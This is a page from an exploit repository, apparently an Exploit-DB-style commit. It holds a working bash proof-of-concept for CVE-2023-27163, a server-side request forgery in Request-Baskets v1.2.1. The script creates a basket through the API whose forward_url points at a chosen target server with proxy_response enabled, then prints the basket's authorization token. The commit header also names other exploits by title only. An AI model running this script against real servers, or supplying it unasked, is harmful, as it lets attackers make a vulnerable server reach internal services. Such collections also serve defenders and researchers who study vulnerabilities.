f55092b332
6 changes to exploits/shellcodes/ghdb TP-Link Archer AX21 - Unauthenticated Command Injection systemd 246 - Local Privilege Escalation Maltrail v0.53 - Unauthenticated Remote Code Execution (RCE) Request-Baskets v1.2.1 - Server-side request forgery (SSRF) OutSystems Service Studio 11.53.30 - DLL Hijacking
53 lines
No EOL
1.4 KiB
Bash
Executable file
53 lines
No EOL
1.4 KiB
Bash
Executable file
# Exploit Title: Request-Baskets v1.2.1 - Server-side request forgery (SSRF)
|
|
# Exploit Author: Iyaad Luqman K (init_6)
|
|
# Application: Request-Baskets v1.2.1
|
|
# Tested on: Ubuntu 22.04
|
|
# CVE: CVE-2023-27163
|
|
|
|
|
|
# PoC
|
|
#!/bin/bash
|
|
|
|
|
|
if [ "$#" -lt 2 ] || [ "$1" = "-h" ] || [ "$1" = "--help" ]; then
|
|
help="Usage: exploit.sh <URL> <TARGET>\n\n";
|
|
help+="Arguments:\n" \
|
|
help+=" URL main path (/) of the server (eg. http://127.0.0.1:5000/)\n";
|
|
help+=" TARGET";
|
|
|
|
echo -e "$help";
|
|
exit 1;
|
|
fi
|
|
|
|
URL=$1
|
|
ATTACKER_SERVER=$2
|
|
|
|
if [ "${URL: -1}" != "/" ]; then
|
|
URL="$URL/";
|
|
fi;
|
|
|
|
BASKET_NAME=$(LC_ALL=C tr -dc 'a-z' </dev/urandom | head -c "6");
|
|
|
|
API_URL="$URL""api/baskets/$BASKET_NAME";
|
|
|
|
PAYLOAD="{\"forward_url\": \"$ATTACKER_SERVER\",\"proxy_response\": true,\"insecure_tls\": false,\"expand_path\": true,\"capacity\": 250}";
|
|
|
|
echo "> Creating the \"$BASKET_NAME\" proxy basket...";
|
|
|
|
if ! response=$(curl -s -X POST -H 'Content-Type: application/json' -d "$PAYLOAD" "$API_URL"); then
|
|
echo "> FATAL: Could not properly request $API_URL. Is the server online?";
|
|
exit 1;
|
|
fi;
|
|
|
|
BASKET_URL="$URL$BASKET_NAME";
|
|
|
|
echo "> Basket created!";
|
|
echo "> Accessing $BASKET_URL now makes the server request to $ATTACKER_SERVER.";
|
|
|
|
if ! jq --help 1>/dev/null; then
|
|
echo "> Response body (Authorization): $response";
|
|
else
|
|
echo "> Authorization: $(echo "$response" | jq -r ".token")";
|
|
fi;
|
|
|
|
exit 0; |